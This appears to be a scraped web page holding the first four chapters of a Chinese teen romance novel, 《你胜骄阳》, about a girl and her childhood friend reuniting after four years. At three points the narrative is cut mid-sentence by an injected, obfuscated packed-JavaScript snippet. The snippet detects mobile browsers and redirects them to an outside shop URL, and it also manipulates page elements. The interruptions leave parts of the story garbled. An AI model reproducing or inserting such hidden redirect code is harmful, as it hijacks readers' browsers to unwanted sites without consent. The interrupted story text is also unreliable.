《你胜骄阳》 1. 第 1 章 午后赤日炎炎,饭店里冷气开到最低,三个人点了八斤小龙虾、一盘烤鱼,爽得呲呼冒汗,吃饱喝足都不想挪窝。 许见晴和夏书亭已经停止战斗,懒懒靠坐在椅子上,惬意地抿着雪碧。 江皓索性把整盆小龙虾拖到面前,挑个头大的啃,挂着一嘴油说:“对了,景阳今天回来,下午估计就到了,晚上我们去哪吃?” “谁?”许见晴一愣,雪碧晃出两滴。 “景阳啊,他今天回来,他爸自己开车,说不定都快到了。”夏书亭理所当然地说。 “对哦我要留点肚子,”江皓将那盆小龙虾往前一推,欻拉两下扯掉一次性手套,一边擦嘴一边说,“晚上叫那少爷请客,挑家贵的,他有钱。” 两人兴致勃勃地聊着,从梁景阳家里的工厂扩建,爸妈没空管他的学习,说到反正户口在这边,早点回来多好,大家有伴,聊得太投入,没注意到许见晴全程没插入一句话。 “这一回来就是三年,他爷爷奶奶还不得高兴坏了,见晴住他对门肯定......”夏书亭说到这,看向许见晴,才发现不对—— 她握着已经空了的杯子,面无表情,眼神却很冷淡。 江皓在许见晴眼前打了个响指:“竹马这就要回来了,你不是高兴傻了吧?” 夏书亭白了这傻缺一眼,迟疑地问:“你不会......不知道吧?” 他们四个青石巷一起长大的发小里,就数许见晴和梁景阳的关系最好。 江皓回过味来,连忙找补:“你不是不玩游戏吗?我和亭亭是上游戏的时候连麦和他聊的,就带了一嘴,之后哪有心思闲聊,对了,他让我告诉你一声,我这记性,转眼忘干净了。” 夏书亭说:“我也是暑假玩游戏才加上他的,之前我和你差不多,一放寒暑假就去外地找妈,偏偏他寒暑假才回来一阵子,完美错过。” 许见晴给自己倒上雪碧,浅浅抿了口:“无所谓,反正四年没联系,不差这一次。” 这声音很好听,像被冰雪碧浸润过,清清凉凉,云淡风轻,甚至带着笑意,可怎么这么瘆人呢? 夏书亭默默把空调调高几度。 江皓本想缓和气氛,脱口一句让事态更严峻:“不会吧,四年,你们连通电话都没打过吗?” 夏书亭在桌下踢他一脚,可江皓就是很诧异:“你、梁景阳,怎么可能不联系?你别骗我今天是愚人节吗?” 说着他真点开手机看日历,不是故意往人心尖上捅刀子,他是真的不相信。 真相往往最残酷,今天和愚人节没半毛钱关系。 在许见晴把他的头摁进小龙虾汤里之前,江皓总算勉强信了,他摸了下鼻子,站起身说:“回家回家,我去打车,外面太阳晒,叫到车你们再出来。” 说完脚底抹油跑了。 日正中天,太阳明晃晃炙烤着,马路上车少人少,二十分钟后他们才到青石巷。 许见晴回到家,她爸坐在茶桌前,沏了壶茶,捧着一本书。 她出门的时候他爸是这个姿势,和江皓一起到车站接亭亭,三个人逛了半天,吃完午饭回来,她爸还是这个姿势。 有时她都奇怪,她爸这种可以十天不出门的性子和雷厉风行的她妈,当年是怎么谈上恋爱的? 她妈为了和她爸结婚,甚至和外公外婆一度断绝关系,爱得那叫一个轰轰烈烈。 不过现实证明,他们确实不合适,她有记忆起爸妈就经常吵架,四年前一次大吵后她妈带着她回了娘家,之后把事业重心放在那边,夫妻两个开始分居,两个月前他们正式领了离婚证。 她爸妈刚分居那会儿,她跟着妈也在外婆那边上了一段时间的学,之后又转回这座熟悉的城市。 许见晴走到二楼,拿起手机,不知道妈妈这会儿忙不忙,方不方便接她电话。 这个暑假她在妈妈那边没待几天,以往她会住到这时候,她妈送她回来,在家里住几天,陪她开学报到后再走。 可是今年,他们离婚了,妈妈还会回来吗? 房间很暗,她出门时特意拉上窗帘隔热,走到窗边,刷的一下拉开窗帘,就见楼下缓缓驶来一辆车。 一看到车标她就笑了。 想什么来什么,她妈竟然回来了。 许见晴转身就跑下楼,飞出院子,黑色汽车迎面驶来,几乎要撞上,她猛地刹住脚步,连连后退,提起的一口气还堵在胸口,就见汽车打转方向盘,慢悠悠倒车,要往对门梁奶奶家开去。 看向车牌,不是她妈的车,但是同一款车。 突然想到,刚才江皓和亭亭说,梁景阳今天回来。 她顿在原地,看着那车,目光里的殷切和热情还没来得及收回。 就在这时,汽车后排的车窗降下,露出一张脸。 一张久违了的熟悉又陌生的脸。 不是梁景阳是谁? 他大概是睡了一路,懒懒靠在座椅上,头发乌黑凌乱,半睁着眼,人还没醒透,唇角已经微微上扬,带了笑意,看见许见晴,便靠向车窗一些,心情不错的样子,露出个明亮惹眼的笑。 对她说:“见我回来这么激动?” “......” 激动你个猪头。 怎么有脸说这话? 阁下的脸皮,简直比千年老猪精的面皮还厚,不知道的还以为您报名去高老庄做上门女婿了,一别四年一点音讯都没有。 这姑且先不论,要转学回来今天到家,这么重要的事,大家都知道,就她不知情。 大概是中午吃太多,跑太快,加上情绪激动,许见晴正想怼他一句,一阵恶心先泛上来,她连忙捂住嘴,干呕一声,转身跑回家。 梁景阳:“......” 他有这么恶心吗? 偏偏副驾驶传来一声笑,他妈说:“你这叫孔雀开屏,自作多情。” “......” 几分钟后,许见晴挂着一脸水,走出卫生间,往她爸跟前一坐。 一杯茶递到她面前,伴随着她爸许呈礼的声音:“景阳一家回来了?” “嗯。” “怎么这个时候回来?” “我哪知道。”许见晴抽了张纸巾,抹干净脸上的水。 她端起茶杯浅浅饮茶,好像这杯茶是世界上最重要的事,目光却不知什么时候脱离她的掌控,偷偷穿过院子,望向对门。 宝贝孙子回来,梁爷爷梁奶奶欢天喜地地出门接人。 汽车门打开,一条腿先迈出来,接着就见那家伙拔地而起。 是的,拔地而起,或许她用词有一点点夸张,但几年没见,他现在高得有点气人,看来高老庄的伙食不错。 还有那臂展,伸开手一把同时搂住爷爷和奶奶,轻轻松松,不知他说了什么,哄得二老笑得合不拢嘴。 他这人从小就嘴甜会来事,苦瓜都能被他哄成甜的。 许见晴正漫不经心地转弄着小茶盏,独自出神,忽而听见她爸的声音:“去接一下。” “见晴?” 许见晴回神:“不去,我和他又不熟。” 她爸莫名其妙看着她:“什么熟不熟,不是天天来送报纸?” “......” 她这才注意到走进院子的邮递员。 许见晴默不作声地移到门边,接过东西,脸烫烫的。 没多久,梁奶奶端了碗自己卤的菜送来,还是温热的,他们孤儿寡父不擅长做饭,邻居家做了什么好吃的,没少接济他们。 有了这碗卤菜,许呈礼炒了个青菜,冲了个紫菜蛋汤,父女俩就凑合一顿,早早吃完晚饭,太阳还没落山。 厨房哗哗的水声里,许呈礼的声音传来:“见晴,把这个碗送还给梁奶奶。” 许见晴正窝在沙发上看电视,闻言缓缓僵住。 现在过去,很可能碰见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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就在这时,叮铃铃铃铃~~ 她的手机响了,是昨天傍晚炖汤时设置的闹钟,忘了关。 许见晴如闻天籁。 她拿起手机轻轻一按,接了个闹钟,“喂,嗯是我怎么了?”没事人一样从他身边走过去。 朋友听到动静,来劲儿了:“喂,梁景阳,你那有妹子诶,南方妹子声音好软,是不是人也特水灵?”他厚颜无耻地说,“妹子有男朋友吗?介绍给我的话,我这边立马分手。” 梁景阳说:“到卫生间去。” 朋友莫名其妙:“干嘛?” “照照镜子。” “靠,没镜子正好撒泡尿是吧?” “有自知之明就好。” “你别太嚣张,我看妹子也没搭理你。” 梁景阳回头看向许见晴的背影,不知道躲什么,跑得比兔子还快,他一笑,说:“嗯,刚才接了个闹钟就走了。” 发小顿了一秒,拍着大腿爆出鹅叫般的狂笑:“这妹子也太逗了,哈哈哈哈哈哈~梁景阳,也有你不被女生待见的时候?哈哈哈哈哈哈太TM爽了!” 许见晴回到家没多久,手机嗡嗡震动了两下,夏书亭发来信息:[晚上出去玩不,就我们四个。] 许见晴:[不去,有他没我。] 夏书亭帮梁景阳说话:[你给他个机会解释嘛,那年你前脚去外婆家,他后脚到他爸妈那边,可能阴差阳错,有什么误会?] 夏书亭似乎铁了心当和事佬,劝和的话一条接一条,滔滔不绝。 能有什么误会?她又不是没给他留联系方式。 许见晴回:[他是转学,不是死了。] 夏书亭:[......] 2. 第 2 章 傍晚的青石巷充满了吵闹的烟火气,这边锅铲刺啦忙着炒菜,那边火大地喊孩子滚回家吃饭,刚下班的牛马步履匆匆往家赶,迎面撞见摇着蒲扇散步的老头老太,夕阳的昏黄逐渐暗淡,窗口的灯光一盏盏亮起,饭菜香弥漫,各种声音低低嗡嗡混成一片,反而有种令人安心的宁静。 梁景阳不知道什么破事那么多,屋里屋外来回穿梭,又楼上楼下到处找不到自己的拖鞋,平时空荡冷清的房子里充斥着少年蓬勃的气息。 天色暗下来,他一边走一边啪啪开灯,很快整间房子都透着亮光。 爷爷奶奶总不爱开灯,大概是从电力极度短缺时代过来人的特征,哪怕现在国家电力充足,家里也不差钱付电费,他们还总要等到天色黢黑才舍得开灯,好像现在轻而易举就能得到的光亮依然奢侈得像钻石。 梁景阳走到大门外,按下走廊的路灯,灯泡闪烁两下后昏昏亮着一点微光,他仰头看了眼就折返回去,从杂货间扒拉出一个灯泡,顺手就换好了。 跨上刚修好的自行车,蹬两下就溜进了对门家院子。 “两步路也要骑车,懒成精了。”梁奶奶嘴上嫌弃,眼里都是笑。 家长都差不多,许呈礼日常埋汰许见晴的台词是被五步蛇咬一口都死不了。 许见晴此刻正以“五步蛇咬一口都死不了”的姿态没骨头似的瘫在沙发上,浑身懒洋洋,只有一只手软绵绵抬起,握着电视遥控器,百无聊赖地换着台。 突然听见自行车链条哗哗的声音,她斜眼一看,就见一道身影骑着自行车往她家的方向来了,她放下遥控器就要起身上楼避开他。 臀部已经离开沙发,等等,不对,这是在她家,她躲什么? 劲儿一收,人坐了回去。 梁景阳走进门,就见许同学端端正正地坐在沙发上,衣服整整齐齐,头发一丝不苟,姿态堪称优雅,看的还是正儿八经的新闻,主持人字正腔圆的声音在播报—— 国家统计局发布《从十六大到十七大经济社会发展回顾系列报告》指出,2003—2006年我国国内生产总值年平均增长10.4%,突破20万亿元,跃居世界第四...... “见晴。”他打招呼。 客厅里唯一坐着的人,转头看向他,礼貌且客气地说:“你好,找谁?” 梁景阳顿了一下,略一扬眉:“不认识了?” 许呈礼听到动静,笑着走过来:“景阳,回来了?” 梁景阳主动汇报:“这次转学回来,到外国语读高中。” 许见晴表情更冷了,看都没看他,转到他们学校干什么? 许呈礼像自己儿子回来读书一样开心:“那感情好啊,你爷爷奶奶有伴了,和见晴他们几个也有伴。” 他说着看向女儿,怎么一脸事不关己? 许呈礼说:“怎么自己坐着,不认识景阳了?” “谁?”许见晴迤迤然站起身,满不在乎地瞥了眼梁景阳,留下一句,“不认识。”迤迤然飘上楼了。 许呈礼不明所以,他干笑一声,说:“青春期,青春期。” 许呈礼招待梁景阳喝茶,问了些生活学习上的问题,梁景阳很给面子,他问什么都一一回来,什么话题都能聊上几句,又不过分热情。 许呈礼很是喜欢这个自己看着长大的男孩。 景阳景阳,人如其名,不仅长得阳光帅气,性格也开朗大方,遇到问题不着急眼红,总能春风化雨地解决好。 许见晴听着身后不断传来的声音,走到楼梯拐角处停下脚步。 “会喝茶吗?”许呈礼问。 “不太懂,能喝一点,”梁景阳的声音很谦和,“老枞?” “还说不懂,这不挺了解嘛。” “我爸也是坐下就喝茶。” 树龄至少五十年以上,生长在1500至1800米高山的原生态野茶才算正宗的老枞,她爸也不容易买到正宗的。 许见晴不认识这茶,前些天心血来潮撕开一泡,倒锅里炒了炒,兑上牛奶,自己煮了杯奶茶,她爸那叫一个心痛,好像她暴殄天物了似的,现在和梁景阳一起喝茶倒是舍得。 他俩喝着茶,还挺有话聊,她爸对梁景阳简直是关心备至、嘘寒问暖、赞不绝口,她都要怀疑以前寒暑假她不在家的时候,是不是梁景阳来给他当儿子。 懒得听了,上楼。 许见晴刚到房间,江皓就找来了,楼下客厅更热闹了,笑声不断传来。 她坐在床边,大腿上放着一个抱枕,把抱枕当做某只猪头,重重捶了几拳。 不解气,又捶几拳。 半小时后,梁景阳和江皓起身告辞,走到院子外,江皓看了眼许见晴房间亮着灯的窗口,放低声音问:“你和见晴怎么回事?” “不知道,不过挺久没联系了,可能生疏了,”他拿出手机,“你把她的QQ和手机号给我。” “你连这都没有?这几年你们真没联系过?我还以为是见晴骗我呢。” 确实没有,他们分开后家里才安装电脑,注册上QQ,这一两年才有了自己的手机,又一直没见面,也就一直没有对方的联系方式。 梁景阳存好许见晴的电话号码,又发出QQ好友申请,和江皓玩了一圈回来,还没看到她通过好友申请的通知。 他回到家,又找了一圈,还是找不到自己的拖鞋,梁景阳晃到一楼客厅,问:“奶奶,我拖鞋呢?” “你那双拖鞋啊,我看鞋面都裂开了。”奶奶边说边自顾自走进房间。 梁景阳顿觉不妙,那是魔术贴,奶奶不会给他补好了吧? 事实证明,他过于乐观了。 很快,奶奶拎咸鱼一样拎着一双棕色塑料拖鞋走出来,说:“你那双拖鞋又厚又破,下水了半天不干,我给你新买了一双放家里穿。” 梁景阳接过拖鞋,翻开吊牌一看,上面赫然写着——中老年拖鞋男油鞋爸爸防滑复古居家外穿浴室凉拖鞋...... 谁家二八少年穿老人拖鞋? 但对上奶奶殷切的目光,梁景阳还是把拖鞋放在地上,当场试穿。 巨丑。 他冲奶奶竖起个大拇指:“这拖鞋一看就结实,特别耐穿。” 奶奶心满意足地笑了。 梁景阳趁机问:“我那双呢?” 奶奶大气地摆摆手:“你那破拖鞋不知道什么材料的,人家都不乐意要,讲半天才多敲了两下。” 敲? 奶奶指着桌面:“才换这么两块。” 梁景阳顿时裂开了。 那两块白色塑料袋裹着的半融化的糖他早就注意到了,差点没被他丢进垃圾桶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481643|201777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 好好好,原来是用他的拖鞋换的,几百大洋买的阿迪运动拖鞋,给他换回来不到五毛钱的叮叮糖。 他摸出手机给朋友发信息:[帮我买双拖鞋,就上个月你买那款,寄过来。] 这时爷爷走来,看了眼梁景阳踩着的拖鞋,得意道:“这鞋好,凉快,又牢,穿了三年才破一点,火钳烧红了烫一下就黏好了。” 梁盛明听不下去了,说:“爸,这年头不缺那点钱,您别这么节省。” 老爷子不爱听这话,鼻腔里哼气:“挣了钱也不能随便挥霍,你们这代人,过上好日子了更不能忘本!” 梁盛明:“钱是挣来的,不是省出来的,都像您这样省吃俭用,国家经济怎么发展?” “你妈生你的时候白米饭都不够吃,把地瓜刨成丝,放在饭里一起蒸才勉强够一家人吃,人民吃饱饭才几年?经济再发展也不能浪费......” 穿着一身品牌货的一家三口乖乖坐着,不敢高声语。 第二天,吃完晚饭,亭亭发来一张图片,是她的手腕,腕骨处有个包,像是蚊子咬的。 许见晴:[可以用肥皂洗一下。] 夏书亭莫名其妙:[为啥?] 许见晴解释:[蚊子叮咬的部位会有蚁酸,肥皂水是碱性的,能中和酸,洗洗就不痒了。] 夏书亭:[......] 夏书亭咆哮:[我是让你看我美丽的新手链!!!] 许见晴:[......] 夏书亭:[你就是个钢筋混泥土直女。] 许见晴:[......] 夏书亭又说:[去逛街不?买点开学要用的东西。] 差生文具多,夏书亭在学习上所有的努力集中在买文具上。 许见晴挺久没正经出门逛,答应下来:[我暑假新买的杂志小说你要不要看?] [要,我这里也一堆,回来的时候给你。] 打车到步行街,先去精品店,她俩喜欢边逛街边聊天,一边挑挑拣拣各种发夹、头绳,漂亮的笔记本,一边天南地北地瞎聊。 走到腿酸,到一家新开的冰厅。 新店生意好,没空桌,她们各点了一杯奶茶,打包。 等的时候,许见晴无意间一瞥,看见靠窗的位置坐着两个熟悉的人影。 梁景阳和江皓身边站着两个漂亮女孩,看社交距离不像是熟人,像是搭讪的。 一个女孩问他什么,梁景阳微微扬眉,不知说了什么,笑得有点痞,惹得女孩眼睛冒星星。 昨天才在谈分手的人,今天就勾三搭四,真受不了。 许见晴只看一眼就收回目光,污染视线,下次再看见这种画面要他赔钱。 奶茶很快好了,一人拎着一杯往外走,以免夏书亭看见他们,她挽着夏书亭的手臂,将她往大门的方向一带,大步往外走。 “你急什么呀?”夏书亭感觉有点怪。 许见晴转身的同时,梁景阳一抬眼正好看见她,他的手肘顶了下江皓,示意他看门边。 江皓立马会意,站起身喊:“亭亭,见晴,这边!” 夏书亭回头看去,瞬间明了,难怪见晴急着走。 她拽着许见晴就往回走:“太好了,那边有位置了。” 许见晴:“......” 3. 第 3 章 女孩挨在旁边,笑眯眯地说:“正好你们这里有两个空位,我们拼个桌吧?” “现在有人了。”梁景阳说。 “什么?”女孩回头,就见两个女学生模样的人走来。 她试探地说:“哦,帅哥,这是你的女朋友吧?” 许见晴走到这边时正好听到这句,女孩又看着她,于是她说:“我不是。” 女生又看向夏书亭。 夏书亭伸出一根手指摇了摇:“no。” 既然只是普通朋友,那就不用忌惮了,女生正想要联系方式,耳边传来一道不冷不热的声音:“放心吧,他在这座城市还没有女朋友。” “......” 此言一出,几双眼睛同时看向许见晴,什么意思? 梁景阳看了眼她冷冰冰拒人于外的小表情,一哂。 许见晴往耳朵后别了一下根本没掉下来的碎发,用恍然想起的语气说:“哦,不过也不一定。” “............” 女孩拉着同伴麻溜地走了,看这美女眼里飞的刀子,就算不是女朋友,也不招惹的好。 这是张小圆桌,夏书亭一屁股坐在江皓旁边,把挨着梁景阳身边的位置留给许见晴。 许见晴坐下,把奶茶放在桌上,感觉那道目光还在看自己,她没侧目看他,只冷冷问:“看什么?” “看你可爱。”他的语气里可没半点赞扬。 “谢谢夸奖。”许见晴还是冷冷的调子。 梁景阳想到她刚才的话,莫名笑了一下:“你脑子里装的都是什么废料?” 许见晴弯起个假笑,看向他,甜甜地说:“我脑子里装的都是你呀。” “是吗?这么关心我?”梁景阳换了个坐姿,起身坐下时,有瞬间忽地凑近她的脸,他的目光直白又直接,十分认真地端详了一下她的表情,好像在确认她的话,然后无事发生一样,随意坐下。 这样一张明朗带笑的俊颜,突然凑近,许见晴被他吓了一跳,也被帅了一跳。 不愧是高老庄严选,确实有几分姿色。 她稍稍往后靠了一点,不屑道:“废料而已。” “你们两个吃子弹了?”江皓敲了敲桌子,开口打圆场,“太久没见不认识了吧?来来来,我介绍一下。” 他先伸手示意许见晴:“这位是可爱美丽的许见晴同学。” 接着示意梁景阳:“这位是英俊帅气的梁景阳同学。” “别这么含蓄啊,握个手呗。” 谁也没动,安静几秒后,江皓敲桌子:“喂喂喂,给点面子。” 梁景阳给面子了,先伸出手,脸上挂着个友好客气的假笑,静待她伸手。 许见晴像没看见他的动作一样,撇开脸漫不经心地看向窗外的街道。 江皓坐在她对面,用眼神一个劲儿地催,眼角都快抽筋了。 算了,许见晴心想,看在江皓的份上。 然而就在她的目光转回来,向他伸出手的时候,梁景阳若无其事地收回了手。 “......” 给你脸不要脸了是吗? 许见晴在心里骂骂咧咧,脸上纹丝不动,伸出的手立马一个拐弯,拿起了奶茶,撕开吸管,噗的一声,重重插进去。 她插得太重太快,新开的奶茶店分量又给得足,满满一杯,这一吸管捅下去,奶茶直接喷了一道弧线出来,溅在梁景阳脸上。 许见晴完全是条件反射,飞快抽了张纸巾给他擦拭,然后,尬住——以一个半起身,一只手贴在他脸上的姿势。 一秒后,她将纸巾往他身上胡乱一塞,也不知道塞到什么地方,心脏砰砰乱跳着坐了回来,硬邦邦地说:“你没手啊,自己擦。” 梁景阳拿起纸巾,抹掉脸上的奶茶,对她堪称友好地笑了一下,许见晴直觉这笑不对。 果然,下一秒,梁景阳就拿起她的奶茶,直接喝了一口,说:“我不仅有手,还有嘴。” 挑衅是吗? 许见晴伸手夺过他面前的柠檬水,仰头就要喝。 但就在她的唇挨到杯口时,一道声音轻飘飘袭来:“我喝过的。” 她立马放下水杯,呸呸呸,又抽了张纸巾用力擦嘴,可是那淡淡的酸甜味,她已经尝到了。 许见晴终于被撩毛了,瞪向他咬牙切齿地说:“梁景阳!!!” 梁景阳微微一笑,十分从容淡定地说:“哦,原来你认识我。” 这狗东西,真记仇。 见两人又杠上,江皓这个好同志,再次维护起世界的和平,他从口袋里掏出两个小挂件,一个的吊坠是只呆呆的兔子,一个是张牙舞爪的猫,做工还挺精致。 “我和景阳刚才逛街的时候买的,特意给你俩挑的礼物,可爱吧?”江皓不停强调,他和梁景阳多用心,多认真,多牵挂她们,百忙中不忘买两个女孩子喜欢的小东西。 夏书亭喜欢一些稀奇古怪的东西,对比了一下,说:“我要猫。” 许见晴接过兔子,情绪稍稍平复,俗话说伸手不打笑脸人,看在他们——接着她看见标签上两个米点大的字:赠品。 江皓还在吹:“刚才那两个女生一直问这个哪里买的,想要,我都不舍得给,特意留给你们。” 许见晴将赠品两个字指给夏书亭看。 她俩撕下标签,对视一眼,同时出手,把两张小标签一左一右地拍在江皓脸上。 “你自己好好看看是什么。” 江皓抓下一张标签,另一张还滑稽地贴在脸上,他眯着眼睛找了好半天,总算看到那两个小字。 他丝毫不以为耻,反手将标签拍在桌上,义正词严地说:“我要投诉商家!恶意隐藏重要信息!” 许见晴和夏书亭怒起而攻之,一起围剿他。 梁景阳轻咳一声,厚颜无耻地说:“可能是打错字了,本来应该是正品。” 江皓狂点头,立刻表示这个推测合理,在桌下给梁景阳竖起大拇指,高啊,我怎么没想到这样狡辩。 许见晴和夏书亭败给这两位的三尺脸皮,一边唾弃,一边还是把吊坠挂在了手机上。 瞎闹了会儿,许见晴渴了,在桌下踢了踢梁景阳的鞋子:“你,赔我一杯奶茶。” 见梁景阳还真起身去给她买,她强调:“我要最贵的。” 夏书亭紧跟:“我也是,最贵的!” 江皓:“我也要,最贵的!” 梁景阳:“你们两个不是有了?” 江皓:“两杯而已,别小看我。” 夏书亭:“你买的奶茶更甜。” 梁景阳无语地比了个OK,给这三位祖宗买奶茶去了。 结果奶茶买回来,江皓和夏书亭是店里最贵的那款,许见晴的却不是。 在江皓和夏书亭欢呼雀跃的声音里,许见晴横他一眼:“你是故意的。” “那个口味太苦,你又不爱喝。” 他的姿态太自然,语气太熟稔,好像他们昨天还在一起玩耍,许见晴一瞬间有点恍惚。 她垂眸,戳开奶茶,喝了口,柠檬香草,是她喜欢的口味。 然而不等她动容,某人不紧不慢地坐下,身子微微倾向她,在她耳边说:“不过,我加了薄荷。” 许见晴咕咚一下咽下嘴里的奶茶, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481644|201777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戒备地看着他:“我没喝到啊。” “马上就有了。” 欠不欠呐!? 她最怕薄荷,受不了任何一点薄荷味的东西。 见她好像真的要急了,梁景阳这才收起神通,舒舒服服地往椅子背靠去,说:“骗你的,没加。” 晚了,她已经生气了,非常。 之后,梁景阳说请他们去看《变形金刚》,许见晴冷嗤道:“剧情老套,也就特效有点看头,低俗的审美。” 倒不是不想看这部电影,主要是攻击梁景阳。 梁景阳轻描淡写地接招:“那用你高雅的审美挑一部电影吧?” 许见晴赏他一个高雅的白眼,和夏书亭手挽手走了。 今夜不宜出门,还没到电影院,先遇见江皓他姐,江月。 江月一个字没说,只冷冷看着江皓,同时点了一下手表,江皓立刻拉着他们几个就往家的方向走,扬起声音生怕他姐听不见:“哎呀好晚了我们回家吧今天就不看电影了。” 走远了才敢握拳抗议:“江夜叉怎么还不开学,快滚去上大学。” 江皓家开的小炒店在青石巷路口的街道边,房子在店的楼上,他第一个到家。 夏书亭家在往里几栋,她提着沉甸甸一袋小说递给许见晴。 梁景阳伸手去接:“什么书这么多?” 许见晴的脑子里忽而闪过“高雅的审美”几个字,挡在他面前,抢先抱住书:“不麻烦了,谢谢。” 她虽然说着谢谢,但语气相当见外,梁景阳看了她一眼,不紧不慢地走在她身后。 他俩住得最远,走回去要几分钟,她把书抱在怀里,夜晚的巷子很安静,酷热已经散尽,小巷尽头吹来丝丝凉凉的风,两人一路都没说话,听着路过的人家传出电视剧的声音,或者男人打牌的声音。 许见晴的手酸到不行,往上托了又托这袋书。 “这位审美高雅的许同学。” “干嘛?”她本来就累,听他戏谑的口吻,口气更呛。 梁景阳很平静:“你的袋子破了。” 什么? 许见晴忙低头检查,这个动作一拉扯,本就破了个口子不堪重负的袋子刺啦一声,彻底裂开—— 稀里哗啦噼里啪啦一阵响后,许见晴怀里空了。 梁景阳蹲下身帮她捡书。 吾命休矣,这是许见晴被行刑前最后的心声。 梁景阳看着花花绿绿的书封,和各种匪夷所思的文字组合,轻轻一扬眉,看向她。 对上他调侃的目光,和要笑不笑微微弯起的嘴角,许见晴下意识抱紧空了的纸袋子,弱小又无助就是她此刻的样子。 梁景阳捡起一本书,轻轻念出声:“《会有天使替我爱你》。” 好羞耻。 他看着她,将书递过去。 许见晴头皮发麻地接过。 梁景阳再捡起一本,《再生缘:我的温柔暴君》,一哂,递给她。 许见晴尴尬得脚趾扣地。 《法老的宠妃》。 要窒息了。 《狼性总裁》。 凌迟处死也不过如此。 《掌心囚宠》 让我死吧。 ...... 梁景阳站起身,撇了撇手上的灰,从已经呆滞的某人手里接过一摞霸总暴君法老。 许见晴手上一松,心里也稍稍松了一点,以为审判就此结束。 然而下一秒,又听见他不咸不淡的声音:“确实。” “什么?”她问。 “满脑子废料。” “......” 4. 第 4 章 风轻轻的,隔几米一盏路灯,他们经过的一路都亮着暖黄色灯光,照在他们熟悉的路上。 只是两人像不认识一样继续往前走,辜负了这可亲的灯光。 到家门外,梁景阳抱着她的一摞书,往她家里看了眼,客厅亮着灯,没看见人。 许见晴伸手去接,梁景阳退开一步:“谢谢都不说?” “能帮我拿书是你三生有幸。” 梁景阳听笑了,问:“我哪儿得罪你了?” 从昨天回来到现在,没给他一个好脸色。 许见晴上上下下扫他一眼,吐出两个字:“呼吸。” 他一笑,也正儿八经地打量她,五官端正,皮肤白净,气质干干净净,是那种丢进人堆里也一眼能看出每个班都有一两个的成绩好聪明懂事被老师喜欢的好学生样。 “那不好意思,只好继续得罪了。”梁景阳说着将书递给她。 许见晴刚抱住书,梁景阳还没完全脱手的时候,身后一道光打来,嘀嘀嘀,驶来一辆车。 她眯了下眼,认出是她爸的车,一秒没犹豫,将那一摞书塞回梁景阳怀里。 梁景阳瞬间明白过来,配合地接住书。两人一给一收,十分默契。 他们退开一些,让车过去,许见晴有点小心虚,又往旁边挪了一步,离梁景阳更远。 许呈礼降下车窗,看了两个孩子一眼,昨天还不乐意见面,今天又和好了,像小时候一样,一天能绝交八回,和好八回,他见怪不怪。 “怎么站在外面,不回家里坐。”许呈礼的目光落在梁景阳手里那一摞数量可观的书上。 “见晴借我的课本,我温习温习,免得两边的课程不一样。” “不错。”许呈礼赞许地点点头,开车进院子了,回到家后他没在客厅停留,直接进书房了。 许见晴看向他:“给我。” “帮你解围也是我三生有幸?” 许见晴抱住书,冲他假假一笑:“谢谢你,路人甲。” 说完转身就往家里走,在院子里不知道踩到什么,脚下一滑,差点绊到。 梁景阳看了眼她家院墙上的路灯,用得久了,蒙上了厚厚的尘垢,光线很暗。 其实有路灯就不错了,许见晴早就习惯这个亮度。 院子里的路灯风吹日晒容易坏,之前因为路灯坏了,她妈七催八催,他爸和聋了一样,好像打算一百年后再动手换,为这事他们没少吵,其他大大小小的事更是数不清。 第二天下午,夏书亭把许见晴拉进房间,锁好门,又拉上窗帘,神神秘秘地说:“你猜我带什么东西回来了?” “红酒?” 夏书亭一愣:“你怎么知道?” “闻到的。”许见晴一本正经。 “不可能吧。”夏书亭连忙打开行李箱,扒开一堆衣服,找到红酒,从瓶口到瓶底认认真真地看,没漏啊。 一回身,看到桌上的两个高脚杯,这才反应过来被耍了:“许—见—晴—” 许见晴忍到现在,终于放声笑出来,夏书亭上手就挠她腰上那块怕痒的地方。 “喂喂喂,手下留情。” “让你耍我,让你耍我。” 两人闹了一会儿,气喘吁吁地停下来,夏书亭上下扫她一眼:“我发现你今天怎么蔫坏,被梁景阳传染了?” 许见晴脑子空白了一下,一瞬间回忆起他许多的样子,否定道:“怎么可能,和他都没说几句话。” 夏书亭问:“你俩怎么了?昨天一见就吵,还没和好吗?” 许见晴不知道从哪说起,干脆转移话题问这酒怎么开。 夏书亭是随心所欲的性子,任何事情都懒得多想,也就不深究,找到开酒器,两人研究怎么开酒。 许见晴问:“哪来的?” “偷的,”夏书亭一边摆弄开酒器,一边漫不经心地说,“我回来的时候我妈还在外面忙,再拿两瓶她也不会发现。” “我妈也是,每天忙得见不到人,而且她应该谈恋爱了,所以今年暑假我没在那边待多久。” “那男的怎么样?对你好吗?” “就那样,我妈的发小,外公外婆都喜欢他,好像他前两年就离婚了。” 她妈做外贸的,平时忙得不可开交,衣着简单干练为主,那天看见她妈化了妆,难得穿了条漂亮的裙子出门,她就觉得不对劲。 果然,晚上那个叔叔送妈妈到楼下,两人又站着说了好一会儿话才分开。 